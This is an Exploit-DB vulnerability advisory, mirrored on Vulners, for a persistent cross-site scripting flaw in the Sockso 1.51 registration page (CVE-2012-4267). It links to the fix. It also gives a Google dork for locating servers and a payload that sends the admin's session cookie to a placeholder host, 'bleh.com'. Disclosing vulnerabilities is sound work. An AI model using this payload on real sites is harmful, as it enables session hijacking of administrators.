Lucene search
+L

Sockso 1.51 - Persistent Cross-Site Scripting

🗓️ 12 May 2012 00:00:00Reported by Ciaran McNallyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 19 Views

Sockso 1.51 - Persistent Cross-Site Scripting, unsecured user registratio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-4267
12 May 201200:00
circl
CVE
CVE-2012-4267
13 Aug 201222:00
cve
Cvelist
CVE-2012-4267
13 Aug 201222:00
cvelist
EUVD
EUVD-2012-4211
7 Oct 202500:30
euvd
NVD
CVE-2012-4267
13 Aug 201222:55
nvd
OpenVAS
Sockso <= 1.51 XSS Vulnerability - Active Check
14 May 201200:00
openvas
Prion
Cross site scripting
13 Aug 201222:55
prion
Positive Technologies
PT-2012-5295 · Sockso · Sockso
13 Aug 201200:00
ptsecurity
RedhatCVE
CVE-2012-4267
22 May 202502:09
redhatcve
#######################################################################

Application:     Sockso
                 http://sockso.pu-gh.com
Versions:        <= 1.5
Platforms:       Windows, Mac, Linux
Bug:             Persistant XSS
Exploitation:    remote
Date:            11 May 2012.
Author:          Ciaran McNally
Web:             http://smwyg.com/blog/#sockso-persistant-xss-attack

Google Dork:     inurl:"4444" sockso

#######################################################################

1) Bug.
2) The exploit.
3) Fix.

#######################################################################
Sockso is a free, open-source, personal music host server for
everyone! It's designed to be as simple as possible so that anyone with
a mouse and some mp3's can get their friends listening to their music
across the internet in seconds!"
#######################################################################

======
1) Bug
======

On Registration page (normally @ "4444/user/register") the username
input is never sanitized. This is then stored in the database of users
and displayed in the admin panel & user pages.

#######################################################################

==============
2) The exploit
==============

Using a username value of...

<script>alert('xss');</script>

Or the admin cookie session can also be retrieved by using...

<script >new Image().src="bleh.com/xss.php?c="+encodeURI(document.cookie)</script>


#######################################################################

======
3) Fix
======

https://github.com/rodnaph/sockso/pull/99/files


#######################################################################

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation